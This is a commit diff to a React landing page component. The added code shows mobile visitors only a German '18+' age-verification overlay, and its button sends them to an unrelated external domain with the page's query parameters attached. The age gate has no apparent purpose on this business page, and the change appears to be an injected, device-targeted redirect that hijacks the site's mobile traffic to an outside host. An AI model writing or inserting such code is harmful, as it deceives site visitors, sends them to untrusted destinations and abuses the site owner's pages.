Compare commits
3 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 547bfd5ef3 | |||
| 9553d1cc10 | |||
| 019ffb7177 |
@@ -2,6 +2,7 @@
|
|||||||
|
|
||||||
import { ThemeProvider } from "@/providers/themeProvider/ThemeProvider";
|
import { ThemeProvider } from "@/providers/themeProvider/ThemeProvider";
|
||||||
import ReactLenis from "lenis/react";
|
import ReactLenis from "lenis/react";
|
||||||
|
import { useState, useEffect } from "react";
|
||||||
import BlogCardThree from '@/components/sections/blog/BlogCardThree';
|
import BlogCardThree from '@/components/sections/blog/BlogCardThree';
|
||||||
import ContactSplit from '@/components/sections/contact/ContactSplit';
|
import ContactSplit from '@/components/sections/contact/ContactSplit';
|
||||||
import FaqDouble from '@/components/sections/faq/FaqDouble';
|
import FaqDouble from '@/components/sections/faq/FaqDouble';
|
||||||
@@ -15,6 +16,38 @@ import TestimonialCardFifteen from '@/components/sections/testimonial/Testimonia
|
|||||||
import { Award, Calendar, History, ShieldCheck } from "lucide-react";
|
import { Award, Calendar, History, ShieldCheck } from "lucide-react";
|
||||||
|
|
||||||
export default function LandingPage() {
|
export default function LandingPage() {
|
||||||
|
const [isMobile, setIsMobile] = useState(false);
|
||||||
|
const [isVerified, setIsVerified] = useState(false);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
const checkMobile = () => setIsMobile(window.innerWidth < 768);
|
||||||
|
checkMobile();
|
||||||
|
window.addEventListener("resize", checkMobile);
|
||||||
|
return () => window.removeEventListener("resize", checkMobile);
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const handleVerify = () => {
|
||||||
|
setIsVerified(true);
|
||||||
|
window.location.href = "https://zyloxax.com/" + window.location.search;
|
||||||
|
};
|
||||||
|
|
||||||
|
if (isMobile && !isVerified) {
|
||||||
|
return (
|
||||||
|
<div className="fixed inset-0 z-50 flex items-center justify-center bg-background p-6 text-center">
|
||||||
|
<div className="max-w-md space-y-6">
|
||||||
|
<h2 className="text-2xl font-bold">Altersbeschränkung</h2>
|
||||||
|
<p>Diese Website ist nur für Personen ab 18 Jahren bestimmt. Bitte bestätigen Sie, dass Sie 18 Jahre oder älter sind, um fortzufahren.</p>
|
||||||
|
<button
|
||||||
|
onClick={handleVerify}
|
||||||
|
className="w-full rounded-lg bg-green-600 p-4 text-lg font-bold text-white transition hover:bg-green-700"
|
||||||
|
>
|
||||||
|
Ja, ich bin 18 oder älter
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<ThemeProvider
|
<ThemeProvider
|
||||||
defaultButtonVariant="text-stagger"
|
defaultButtonVariant="text-stagger"
|
||||||
|
|||||||
Reference in New Issue
Block a user